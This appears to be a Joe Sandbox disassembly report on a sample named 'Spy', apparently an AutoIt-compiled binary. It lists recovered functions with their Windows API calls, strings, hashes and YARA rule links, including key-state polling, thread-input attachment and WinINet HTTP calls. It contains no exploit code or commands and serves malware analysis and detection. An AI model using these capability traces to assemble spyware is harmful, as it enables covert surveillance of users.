Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 6a8dabc463d52e8fbdc69c0f2e6f4673c3cebe08831584d197672a04435d5ff0
Instruction ID: 590b3be31264fbd2ae6788591ff22ec4248c7c73d93c77c27d87d32b88b1d917
Opcode Fuzzy Hash: 6a8dabc463d52e8fbdc69c0f2e6f4673c3cebe08831584d197672a04435d5ff0
Instruction Fuzzy Hash: B061AF702087159FC710EF94C988F6EB7E4AF49714F104849FA859B291DB78ED49CBA2

Function 00AEBB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00AEBB13
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00AEBB89
GetLastError.KERNEL32 ref: 00AEBB93
SetErrorMode.KERNEL32(00000000,READY), ref: 00AEBC00

Strings

INVALID, xrefs: 00AEBBD2
READY, xrefs: 00AEBBD9
READONLY, xrefs: 00AEBBCB
UNKNOWN, xrefs: 00AEBBB8
NOTREADY, xrefs: 00AEBBBF

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 2789685b497c826d158cbcd15b8d26ddd46bfd94f0aa39b0e6bfd56392e01ef9
Instruction ID: e1341a57840656949638470e363ad23539eb7ef802b69b5940b4bcd423d60c86
Opcode Fuzzy Hash: 2789685b497c826d158cbcd15b8d26ddd46bfd94f0aa39b0e6bfd56392e01ef9
Instruction Fuzzy Hash: 7531B735A10249AFCB10EF66C949EAEB7B4EF44310F24815AF505DB295DB709D41CBA1

Function 00AD9B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00ADB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00ADB7BD

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00AD9BCC
GetDlgCtrlID.USER32 ref: 00AD9BD7
GetParent.USER32 ref: 00AD9BF3
SendMessageW.USER32(00000000,?,00000111,?), ref: 00AD9BF6
GetDlgCtrlID.USER32(?), ref: 00AD9BFF
GetParent.USER32(?), ref: 00AD9C1B
SendMessageW.USER32(00000000,?,?,00000111), ref: 00AD9C1E

Strings

ComboBox, xrefs: 00AD9B54
ListBox, xrefs: 00AD9B89

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: cdac735a7b707e97617b209e70c4c303f984a7f5cd24c839edc14cc3c29f3366
Instruction ID: b5fbef77746939a958c1e7e4f83a6e4efb8c025826b99e43cd00f6fc34dc1f8f
Opcode Fuzzy Hash: cdac735a7b707e97617b209e70c4c303f984a7f5cd24c839edc14cc3c29f3366
Instruction Fuzzy Hash: D421CF74A00204BFCF04ABA0CC85EFEBBB9EF95310F604156F962932A1DF759865DA20

Function 00AD9C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00ADB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00ADB7BD

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00AD9CB5
GetDlgCtrlID.USER32 ref: 00AD9CC0
GetParent.USER32 ref: 00AD9CDC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00AD9CDF
GetDlgCtrlID.USER32(?), ref: 00AD9CE8
GetParent.USER32(?), ref: 00AD9D04
SendMessageW.USER32(00000000,?,?,00000111), ref: 00AD9D07

Strings

ComboBox, xrefs: 00AD9C3F
ListBox, xrefs: 00AD9C74

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: d020fb602625e2d311dbe3565e4c408f49d8fb87b82e2800cdf7ff0c9eca5bad
Instruction ID: f247a370841d67b0fb90f1ea3f48909e1796174b22da7d939d9f908b0a5e4dbf
Opcode Fuzzy Hash: d020fb602625e2d311dbe3565e4c408f49d8fb87b82e2800cdf7ff0c9eca5bad
Instruction Fuzzy Hash: 3921D075E40204BFDF00ABA0CC85EFEBBB9EF94300F604016F952A32A1DF758965DA20

Function 00AD9D1B Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00AD9D27
GetClassNameW.USER32(00000000,?,00000100), ref: 00AD9D3C
_wcscmp.LIBCMT ref: 00AD9D4E
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00AD9DC9

Strings

list, xrefs: 00AD9DAB
smallicons, xrefs: 00AD9D91
details, xrefs: 00AD9D77
SHELLDLL_DefView, xrefs: 00AD9D48
largeicons, xrefs: 00AD9D5D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 8fa8534afea0323c0a63ee4e620672590a5e5cd8d3acef3463aa755b34464b04
Instruction ID: 602846d95fc27d3fe08d05ff1d7ebdf5512929c3cc367e3a4f3f6d01b567e304
Opcode Fuzzy Hash: 8fa8534afea0323c0a63ee4e620672590a5e5cd8d3acef3463aa755b34464b04
Instruction Fuzzy Hash: FD112977248302BAFE002724EC06DE773EDDB19720F304167FA42A61E1FFA5AE515951

Function 00AF8F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00AF8FC1
CoInitialize.OLE32(00000000), ref: 00AF8FEE
CoUninitialize.OLE32 ref: 00AF8FF8
GetRunningObjectTable.OLE32(00000000,?), ref: 00AF90F8
SetErrorMode.KERNEL32(00000001,00000029), ref: 00AF9225
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00B13BDC), ref: 00AF9259
CoGetObject.OLE32(?,00000000,00B13BDC,?), ref: 00AF927C
SetErrorMode.KERNEL32(00000000), ref: 00AF928F
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00AF930F
VariantClear.OLEAUT32(?), ref: 00AF931F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 80c88fc61d0f37c145037963ff4af728363e610c1478e7d7f27f2b965612fdce
Instruction ID: 7aa17d8429b8a648fe287459863f3db9e709064e2e4d59c0856b1cefaaf47f17
Opcode Fuzzy Hash: 80c88fc61d0f37c145037963ff4af728363e610c1478e7d7f27f2b965612fdce
Instruction Fuzzy Hash: 06C13971608309AFC700EF68C884A6BB7E9FF89748F00495DF68A9B251DB71ED45CB52

Function 00AE19CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00AE19EF
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00AE0A67,?,00000001), ref: 00AE1A03
GetWindowThreadProcessId.USER32(00000000), ref: 00AE1A0A
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00AE0A67,?,00000001), ref: 00AE1A19
GetWindowThreadProcessId.USER32(?,00000000), ref: 00AE1A2B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00AE0A67,?,00000001), ref: 00AE1A44
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00AE0A67,?,00000001), ref: 00AE1A56
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00AE0A67,?,00000001), ref: 00AE1A9B
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00AE0A67,?,00000001), ref: 00AE1AB0
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00AE0A67,?,00000001), ref: 00AE1ABB

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: b86bf92fdc7729e679b368a6dca7b33fc441235eb5cf539d04630c883406b489
Instruction ID: f28ed71d283426c6876d3f16e8fbe015d10f3e20a17b05f464b0d3a538d66940
Opcode Fuzzy Hash: b86bf92fdc7729e679b368a6dca7b33fc441235eb5cf539d04630c883406b489
Instruction Fuzzy Hash: 0231EE79611254BFEB20AF11DC88FBD37AAFB56399F908125F800C7190CFB49E848B20

Function 00ABC0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00A8260D
SetTextColor.GDI32(?,000000FF), ref: 00A82617
SetBkMode.GDI32(?,00000001), ref: 00A8262C
GetStockObject.GDI32(00000005), ref: 00A82634
GetClientRect.USER32(?), ref: 00ABC0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 00ABC113
GetWindowDC.USER32(?), ref: 00ABC11F
GetPixel.GDI32(00000000,?,?), ref: 00ABC12E
ReleaseDC.USER32(?,00000000), ref: 00ABC140
GetSysColor.USER32(00000005), ref: 00ABC15E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: 53965652112e65e16fe060db4b7d515dc4a22f9cca117dd83a982178730d7582
Instruction ID: 6c8ce6449cb824b1470042c96f1ee9f606bbca0ba730e6fa0b904e5e5e26206d
Opcode Fuzzy Hash: 53965652112e65e16fe060db4b7d515dc4a22f9cca117dd83a982178730d7582
Instruction Fuzzy Hash: 28116D31510205FFDB616FA4EC48BE97BB6EB14331F508225FA65A60E1CFB10A91EF10

Function 00A8AD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00A8ADE1
OleUninitialize.OLE32(?,00000000), ref: 00A8AE80
UnregisterHotKey.USER32(?), ref: 00A8AFD7
DestroyWindow.USER32(?), ref: 00AC2F64
FreeLibrary.KERNEL32(?), ref: 00AC2FC9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00AC2FF6

Strings

close all, xrefs: 00A8ADDC

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: b0cf276d48b197a67e7ae36e8bbdf377f0df097a925881df2b2ed69f36b54d84
Instruction ID: 4e84b5c44b242d32c18d6d673aa6f4ba811e96c8fabb4b06b7c38bc6221c013c
Opcode Fuzzy Hash: b0cf276d48b197a67e7ae36e8bbdf377f0df097a925881df2b2ed69f36b54d84
Instruction Fuzzy Hash: 83A16A317012228FDB29EF14C594F69F3B4BF14700F5582ADE90AAB261DB31AD52CF91

Function 00ADAD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00ADB13A), ref: 00ADB078

Strings

REGEXPCLASS, xrefs: 00ADAE3D
TEXT, xrefs: 00ADAFAF
CLASS, xrefs: 00ADADF7
NAME, xrefs: 00ADAEAA
CLASSNN, xrefs: 00ADAE1A
INSTANCE, xrefs: 00ADAF86

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 3b5ca977f8f6b7ca0891d187941ea96b96cd23ed6e396677cf026d3f1f7f67cd
Instruction ID: 42ebf2e2bbff0452e6724f194638582eb8543fca84b8cf1442b5e4f1cc5bbbfc
Opcode Fuzzy Hash: 3b5ca977f8f6b7ca0891d187941ea96b96cd23ed6e396677cf026d3f1f7f67cd
Instruction Fuzzy Hash: 3B918471600606EACB18EF60C581BEEFBB5BF15300F64815AE85BA7391DF306959CBA1

Function 00A831F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00A8327E

Part of subcall function 00A8218F: GetClientRect.USER32(?,?), ref: 00A821B8
Part of subcall function 00A8218F: GetWindowRect.USER32(?,?), ref: 00A821F9
Part of subcall function 00A8218F: ScreenToClient.USER32(?,?), ref: 00A82221

GetDC.USER32 ref: 00ABD073
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00ABD086
SelectObject.GDI32(00000000,00000000), ref: 00ABD094
SelectObject.GDI32(00000000,00000000), ref: 00ABD0A9
ReleaseDC.USER32(?,00000000), ref: 00ABD0B1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00ABD13C

Strings

U, xrefs: 00ABD011

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 705e76d7f300b65678f5ccf545791f288fc8069589672c9109595860a75657c9
Instruction ID: 12e9c3be6fddc806db09ca1888516be3bf90d4f3da6a6f1f5f7b224e5444841a
Opcode Fuzzy Hash: 705e76d7f300b65678f5ccf545791f288fc8069589672c9109595860a75657c9
Instruction Fuzzy Hash: 5871E331404205EFCF21EF68C884AFA7BB9FF59320F144269ED565A1A6EB318D51DF60

Function 00B0C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

Part of subcall function 00A82714: GetCursorPos.USER32(?), ref: 00A82727
Part of subcall function 00A82714: ScreenToClient.USER32(00B477B0,?), ref: 00A82744
Part of subcall function 00A82714: GetAsyncKeyState.USER32(00000001), ref: 00A82769
Part of subcall function 00A82714: GetAsyncKeyState.USER32(00000002), ref: 00A82777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00B0C69C
ImageList_EndDrag.COMCTL32 ref: 00B0C6A2
ReleaseCapture.USER32 ref: 00B0C6A8
SetWindowTextW.USER32(?,00000000), ref: 00B0C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00B0C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00B0C847

Strings

@GUI_DRAGFILE, xrefs: 00B0C7DC
@GUI_DROPID, xrefs: 00B0C799

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 0d6ebe2d0d424fc4095bf82cdc45d88b99bed7ede990a46d737d4c3d2f9b4434
Instruction ID: 8e0da3b8ca6e79d8349a3b1be9509c97ce99a3c53466f0ebab2c3aa49a30e52b
Opcode Fuzzy Hash: 0d6ebe2d0d424fc4095bf82cdc45d88b99bed7ede990a46d737d4c3d2f9b4434
Instruction Fuzzy Hash: 6C517875208305AFDB14EF24CC5AFAA7BE1FB88310F108A59F595872E1DB70AA45CB52

Function 00AF20E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00AF211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00AF2148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00AF218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00AF219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AF21AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00AF21DC
InternetCloseHandle.WININET(00000000), ref: 00AF2223

Part of subcall function 00AF2B4F: GetLastError.KERNEL32(?,?,00AF1EE3,00000000,00000000,00000001), ref: 00AF2B64
Part of subcall function 00AF2B4F: SetEvent.KERNEL32(?,?,00AF1EE3,00000000,00000000,00000001), ref: 00AF2B79

Strings

, xrefs: 00AF21CD

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: b77c7316d46fab3e764da8172b05c94a4a6819293e66561791fbfce1e479d355
Instruction ID: f3e1b34890df35ad5364f00a2b06d4fd5855cdc4cd012026eebe75ddf55561e4
Opcode Fuzzy Hash: b77c7316d46fab3e764da8172b05c94a4a6819293e66561791fbfce1e479d355
Instruction Fuzzy Hash: F1415DB150121CBFEB129F90CC89FFB7BACEF08354F108116FA059A195DBB09E459BA5

Function 00AF9330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00B10980), ref: 00AF9412
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00B10980), ref: 00AF9446
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00AF95C0
SysFreeString.OLEAUT32(?), ref: 00AF95EA

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: f31979dedcc976b43ef01190887b1452df539ad98a61624d28a4599cc4d14679
Instruction ID: afb0fce362716a52ec54aa7f5dce5a1c67cd60de56df3b29e2a76db9242eaee8
Opcode Fuzzy Hash: f31979dedcc976b43ef01190887b1452df539ad98a61624d28a4599cc4d14679
Instruction Fuzzy Hash: 25F12B71A00219EFDB15EF94C884EBEB7B9FF49315F108158FA06AB261DB31AE45CB50

Function 00B08C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00B08D24

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 4b485447003d344c02117d690c30a3de71466c06a817b9c574b2f4f7c79b2ff6
Instruction ID: fd92ffadbe74dda781c8b52993d75b3f925b655a19769331e040901af5bd9e93
Opcode Fuzzy Hash: 4b485447003d344c02117d690c30a3de71466c06a817b9c574b2f4f7c79b2ff6
Instruction Fuzzy Hash: 55519D30640204BFEB30AB24DC89BA93FE4EB15350F6446A5F595EB1E1CF71AA90DB60

Function 00A82F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00ABC638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00ABC65A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00ABC672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00ABC690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00ABC6B1
DestroyIcon.USER32(00000000), ref: 00ABC6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00ABC6DD
DestroyIcon.USER32(?), ref: 00ABC6EC

Part of subcall function 00B0AAD4: DeleteObject.GDI32(00000000), ref: 00B0AB0D

Memory Dump Source

